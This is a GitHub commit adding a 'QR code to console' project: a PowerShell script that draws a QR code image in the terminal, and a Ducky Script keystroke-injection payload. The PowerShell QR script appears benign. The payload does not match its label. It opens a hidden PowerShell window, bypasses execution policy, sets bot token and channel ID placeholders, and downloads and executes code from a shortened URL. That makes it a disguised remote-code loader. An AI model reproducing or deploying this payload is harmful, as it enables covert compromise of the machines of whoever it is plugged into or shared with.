Add files via upload

This commit is contained in:
egieb
2024-03-27 19:55:02 +00:00
committed by GitHub
parent aa2faad06f
commit 30f77a3a7c
2 changed files with 89 additions and 0 deletions

View File

@@ -0,0 +1,15 @@
REM Title: beigeworm's QR code to console.
REM Author: @beigeworm
REM Description: Uses Powershell to display a generated QR code from text or a URL
REM Target: Windows 10 and 11
REM some setup for dukie script
DEFAULT_DELAY 100
REM open powershell (remove "-W H" to show the window)
DELAY 1000
GUI r
DELAY 750
STRING powershell -NoP -Ep Bypass -W H -C $ch = 'CHANNEL_ID'; $tk = 'BOT_TOKEN'; irm https://is.gd/bwdcc2 | iex
ENTER

74
Console-QRcode/main.ps1 Normal file
View File

@@ -0,0 +1,74 @@
<# ======================== COLSOLE QR CODE GENERATOR ==================================
SYNOPSIS
Use 'chart.googleapis.com' to create a qrcode then represent the qrcode in the console!
USAGE
1. Run script
2. Enter text or url to generate
3. Choose invert colors or not
4. Check console for results
#>
$URL = "$text"
$highC = 'y'
$inverse = 'n'
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing
[Console]::BackgroundColor = "Black"
$wshell = New-Object -ComObject wscript.shell
$wshell.AppActivate("Powershell.exe")
$wshell.SendKeys("{F11}")
cls
function Generate-QRCodeURL {
param ([string]$URL,[int]$sizePercentage = 50)
$EncodedURL = [uri]::EscapeDataString($URL)
$newSize = [math]::Round((300 * $sizePercentage) / 100)
$QRCodeURL = "https://chart.googleapis.com/chart?chs=${newSize}x${newSize}&cht=qr&chl=$EncodedURL"
return $QRCodeURL
}
$QRCodeURL = Generate-QRCodeURL -URL $URL
function Download-QRCodeImage {
param ([string]$QRCodeURL)
$TempFile = [System.IO.Path]::GetTempFileName() + ".png"
Invoke-WebRequest -Uri $QRCodeURL -OutFile $TempFile
return $TempFile
}
$QRCodeURL = Generate-QRCodeURL -URL $URL
$QRCodeImageFile = Download-QRCodeImage -QRCodeURL $QRCodeURL
$QRCodeImage = [System.Drawing.Image]::FromFile($QRCodeImageFile)
$Bitmap = New-Object System.Drawing.Bitmap($QRCodeImage)
if (($highC -eq 'n') -and ($inverse -eq 'y')){
$Chars = @('░', '█')
}
elseif (($highC -eq 'n') -and ($inverse -eq 'n')){
$Chars = @('█', '░')
}
if (($highC -eq 'y') -and ($inverse -eq 'y')){
$Chars = @(' ', '█')
}
elseif (($highC -eq 'y') -and ($inverse -eq 'n')){
$Chars = @('█', ' ')
}
for ($y = 0; $y -lt $Bitmap.Height; $y += 2) {
for ($x = 0; $x -lt $Bitmap.Width; $x++) {
$Index = if ($Bitmap.GetPixel($x, $y).ToArgb() -eq -16777216) { 1 } else { 0 } # Check if the pixel is black or white
Write-Host -NoNewline $Chars[$Index]
}
Write-Host
}
$QRCodeImage.Dispose()
Remove-Item -Path $QRCodeImageFile -Force
pause